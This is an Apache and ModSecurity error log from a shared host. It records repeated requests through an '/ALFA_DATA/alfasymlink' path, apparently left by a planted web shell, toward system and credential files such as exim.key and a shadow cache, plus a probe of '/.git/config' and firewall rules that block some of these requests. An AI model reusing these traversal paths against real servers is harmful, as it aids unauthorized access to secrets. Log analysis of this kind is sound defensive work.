[Sat Oct 24 09:31:50.128295 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 18.235.158.19:1883] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:31:54.170221 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 54.87.62.248:15735] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/event3/subsystem/input3/subsystem/input0/event0/device/device/driver/bind
[Sat Oct 24 09:32:02.151232 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 98.84.131.195:36503] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:32:06.142334 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 23.23.103.31:51164] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:32:13.181746 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 85.208.96.199:22152] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:32:14.269622 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 34.224.132.215:18935] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.2/subsystem/devices/0000:00:01.2/rescan
[Sat Oct 24 09:32:21.986628 2026] [core:error] [pid 2635684:tid 2635684] (13)Permission denied: [client 185.191.171.3:43184] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/scripts/manage_extra_marketing
[Sat Oct 24 09:32:30.163581 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.222.190.107:35420] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:32:44.950968 2026] [security2:error] [pid 2627273:tid 2627273] [client 34.139.102.100:45968] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyzfBdOhHN-18IxgZKrkQAAAAY"]
[Sat Oct 24 09:32:44.951286 2026] [security2:error] [pid 2627273:tid 2627273] [client 34.139.102.100:45968] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyzfBdOhHN-18IxgZKrkQAAAAY"]
[Sat Oct 24 09:32:44.951532 2026] [security2:error] [pid 2627273:tid 2627273] [client 34.139.102.100:45968] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyzfBdOhHN-18IxgZKrkQAAAAY"]
[Sat Oct 24 09:32:44.951901 2026] [security2:error] [pid 2627273:tid 2627273] [client 34.139.102.100:45968] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atyzfBdOhHN-18IxgZKrkQAAAAY"]
[Sat Oct 24 09:32:46.273578 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 3.227.180.70:30999] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:32:50.154660 2026] [security2:error] [pid 2609012:tid 2609012] [client 52.207.47.227:16072] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory2/node0/cpu1/subsystem/drivers/processor/cpu0/power/"] [unique_id "atyzgnUcfBNBYE9xHAJBtQAAAAA"]
[Sat Oct 24 09:32:50.154719 2026] [security2:error] [pid 2609012:tid 2609012] [client 52.207.47.227:16072] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory2/node0/cpu1/subsystem/drivers/processor/cpu0/power/"] [unique_id "atyzgnUcfBNBYE9xHAJBtQAAAAA"]
[Sat Oct 24 09:32:53.183194 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 85.208.96.202:34092] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_ext_cache/trace
[Sat Oct 24 09:33:02.194519 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 50.16.216.166:64316] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:33:06.253383 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 54.145.82.217:26647] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:33:10.170723 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 54.204.12.115:56079] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/firmware_node/subsystem/drivers/ec/unbind
[Sat Oct 24 09:33:18.138224 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 18.232.12.157:39605] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:33:22.150578 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 44.215.235.20:8334] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:33:30.862238 2026] [security2:error] [pid 2635676:tid 2635676] [client 85.208.96.206:20138] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/exim.key"] [unique_id "atyzqmyV-56kZb5LgxTn3gAAAAE"]
[Sat Oct 24 09:33:30.862796 2026] [security2:error] [pid 2635676:tid 2635676] [client 85.208.96.206:20138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/exim.key"] [unique_id "atyzqmyV-56kZb5LgxTn3gAAAAE"]
[Sat Oct 24 09:33:30.863256 2026] [security2:error] [pid 2635676:tid 2635676] [client 85.208.96.206:20138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/exim.key"] [unique_id "atyzqmyV-56kZb5LgxTn3gAAAAE"]
[Sat Oct 24 09:33:50.132943 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 52.71.218.25:35406] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:34:14.133604 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 184.73.195.18:2914] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:34:18.129826 2026] [core:error] [pid 2635676:tid 2635676] (13)Permission denied: [client 44.214.19.8:17749] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/uhci_hcd/bind
[Sat Oct 24 09:34:22.238957 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 85.208.96.205:40528] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:34:30.151087 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 54.235.191.179:20545] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:34:42.120987 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 3.216.13.10:27516] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:34:46.128810 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 52.54.157.23:3468] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:34:54.122285 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 54.156.55.147:10738] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:34:58.171865 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 3.232.102.111:50896] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:35:06.227318 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 52.3.104.214:48368] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:35:14.159943 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 44.223.116.149:59459] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:35:22.177444 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 100.29.34.97:9070] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:35:22.271492 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 185.191.171.5:47714] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/wwwacct.conf.shadow.cache
[Sat Oct 24 09:35:26.177008 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 44.194.139.149:31618] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:35:42.259380 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 52.45.194.165:28693] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:35:46.125460 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 34.236.41.241:11468] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:36:14.135446 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 52.5.232.250:63165] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:36:22.134118 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 52.202.233.37:10853] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:36:26.135675 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 44.209.35.147:5490] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/QEMU0002:00/physical_node/driver/unbind
[Sat Oct 24 09:36:26.136127 2026] [security2:error] [pid 2609012:tid 2609012] [client 44.209.35.147:5490] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/QEMU0002:00/physical_node/driver/unbind"] [unique_id "aty0WnUcfBNBYE9xHAJBvQAAAAA"]
[Sat Oct 24 09:36:26.136164 2026] [security2:error] [pid 2609012:tid 2609012] [client 44.209.35.147:5490] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/QEMU0002:00/physical_node/driver/unbind"] [unique_id "aty0WnUcfBNBYE9xHAJBvQAAAAA"]
[Sat Oct 24 09:36:30.144217 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 18.204.152.114:36099] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:36:34.177107 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 44.205.120.22:40163] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/tty7/subsystem/ttyS1/device/tty/ttyS1/closing_wait
[Sat Oct 24 09:36:46.185994 2026] [ssl:error] [pid 2627273:tid 2627273] (5)Input/output error: [client 52.2.191.202:1347] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:36:50.116932 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 3.81.253.213:12808] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:36:58.122935 2026] [ssl:error] [pid 2625272:tid 2625272] (70014)End of file found: [client 44.213.202.136:42185] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:37:02.159454 2026] [core:error] [pid 2627309:tid 2627309] (13)Permission denied: [client 98.84.200.43:33866] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0a/eject
[Sat Oct 24 09:37:06.113800 2026] [core:error] [pid 2607843:tid 2607843] (13)Permission denied: [client 100.28.57.133:45724] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/subsystem/drivers/xhci_hcd/uevent
[Sat Oct 24 09:37:10.123002 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 34.206.249.188:24177] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:37:18.156645 2026] [core:error] [pid 2635684:tid 2635684] (13)Permission denied: [client 44.205.180.155:29456] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/device:08/eject
[Sat Oct 24 09:37:22.165065 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 50.19.79.213:30309] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:00/subsystem/devices/PNP0A03:00/device:12/eject
[Sat Oct 24 09:37:30.107934 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 98.84.60.17:25018] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:37:33.492853 2026] [security2:error] [pid 2607843:tid 2607843] [client 175.27.163.171:41124] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "aty0nQSwRuPA-FjBma7J_QAAAAI"]
[Sat Oct 24 09:37:33.493906 2026] [authz_core:error] [pid 2607843:tid 2607843] [client 175.27.163.171:41124] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 09:37:47.689279 2026] [core:error] [pid 2635684:tid 2635684] (13)Permission denied: [client 185.191.171.10:18804] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sighand_cache/poison
[Sat Oct 24 09:37:52.393916 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 85.208.96.202:28096] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:37:54.108884 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 3.215.59.93:17628] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:38:02.134641 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 98.83.94.113:56338] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:38:14.146437 2026] [ssl:error] [pid 2635676:tid 2635676] (5)Input/output error: [client 54.167.32.123:39882] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:38:18.144421 2026] [ssl:error] [pid 2635684:tid 2635684] (70014)End of file found: [client 52.71.46.142:15175] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:38:18.144632 2026] [security2:error] [pid 2635684:tid 2635684] [client 52.71.46.142:15175] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:17/subsystem/devices/PNP0A03:00/device:20/power/runtime_active_time"] [unique_id "aty0yvh8HbpaJ2ileDIjUAAAABE"]
[Sat Oct 24 09:38:18.144667 2026] [security2:error] [pid 2635684:tid 2635684] [client 52.71.46.142:15175] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:17/subsystem/devices/PNP0A03:00/device:20/power/runtime_active_time"] [unique_id "aty0yvh8HbpaJ2ileDIjUAAAABE"]
[Sat Oct 24 09:38:22.221052 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 98.82.38.120:53770] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:38:29.921413 2026] [core:error] [pid 2635678:tid 2635678] (13)Permission denied: [client 85.208.96.208:19448] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-State/red_zone
[Sat Oct 24 09:38:30.160461 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 34.225.87.80:48488] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:38:50.280094 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 52.70.123.241:2617] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:39:06.221115 2026] [ssl:error] [pid 2635676:tid 2635676] (70014)End of file found: [client 3.217.82.254:29027] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:39:18.250536 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.94.40.182:42042] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:39:26.168213 2026] [core:crit] [pid 2635678:tid 2635678] (13)Permission denied: [client 71.6.245.75:64304] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 09:39:26.220448 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 50.16.248.61:50231] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:39:31.485563 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 85.208.96.201:14134] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-32/hwcache_align
[Sat Oct 24 09:39:34.488029 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 52.200.58.199:45030] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:39:38.221004 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 100.29.164.178:54772] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:39:46.312026 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 54.235.191.179:8212] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/subsystem/drivers/dw_dmac_pci/unbind
[Sat Oct 24 09:39:58.793962 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 185.191.171.11:28398] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/blkdev_ioc/shrink
[Sat Oct 24 09:40:10.242964 2026] [security2:error] [pid 2625330:tid 2625330] [client 34.193.2.57:52190] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/event4/subsystem/event0/device/subsystem/input5/"] [unique_id "aty1OvMnT_rHlxLKOWDn0QAAAAc"]
[Sat Oct 24 09:40:10.243005 2026] [security2:error] [pid 2625330:tid 2625330] [client 34.193.2.57:52190] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/input/event4/subsystem/event0/device/subsystem/input5/"] [unique_id "aty1OvMnT_rHlxLKOWDn0QAAAAc"]
[Sat Oct 24 09:40:14.410584 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 184.73.167.217:11226] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:40:18.364358 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 3.90.73.206:35430] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/tty49/subsystem/tty60/subsystem/ttyS1/line
[Sat Oct 24 09:40:26.255026 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 44.205.192.249:14213] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0B00:00/physical_node/subsystem/drivers/system/bind
[Sat Oct 24 09:40:38.268162 2026] [ssl:error] [pid 2635678:tid 2635678] (70014)End of file found: [client 35.153.86.200:24916] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:40:42.694033 2026] [core:error] [pid 2625272:tid 2625272] (13)Permission denied: [client 3.211.181.86:50579] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/PNP0A03:00/device:00/physical_node/driver/module/drivers/pci:piix4_smbus/0000:00:01.3/i2c-0/device/driver/bind
[Sat Oct 24 09:40:54.276377 2026] [ssl:error] [pid 2627309:tid 2627309] (70014)End of file found: [client 44.214.19.8:47631] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:41:10.289916 2026] [core:error] [pid 2635684:tid 2635684] (13)Permission denied: [client 54.91.122.193:61006] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/node0/memory13/node0/memory20/subsystem/drivers_probe
[Sat Oct 24 09:41:18.296949 2026] [core:error] [pid 2635684:tid 2635684] (13)Permission denied: [client 44.223.116.149:43611] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/drivers/thermal/bind
[Sat Oct 24 09:41:22.508963 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 44.218.6.93:28486] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:41:38.439162 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 44.223.115.10:28902] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:41:42.351748 2026] [ssl:error] [pid 2625330:tid 2625330] (70014)End of file found: [client 3.212.205.90:25911] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 09:41:44.067182 2026] [security2:error] [pid 2635676:tid 2635676] [client 185.191.171.11:32712] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/etc/vconsole.conf"] [unique_id "aty1mGyV-56kZb5LgxTn8QAAAAE"]
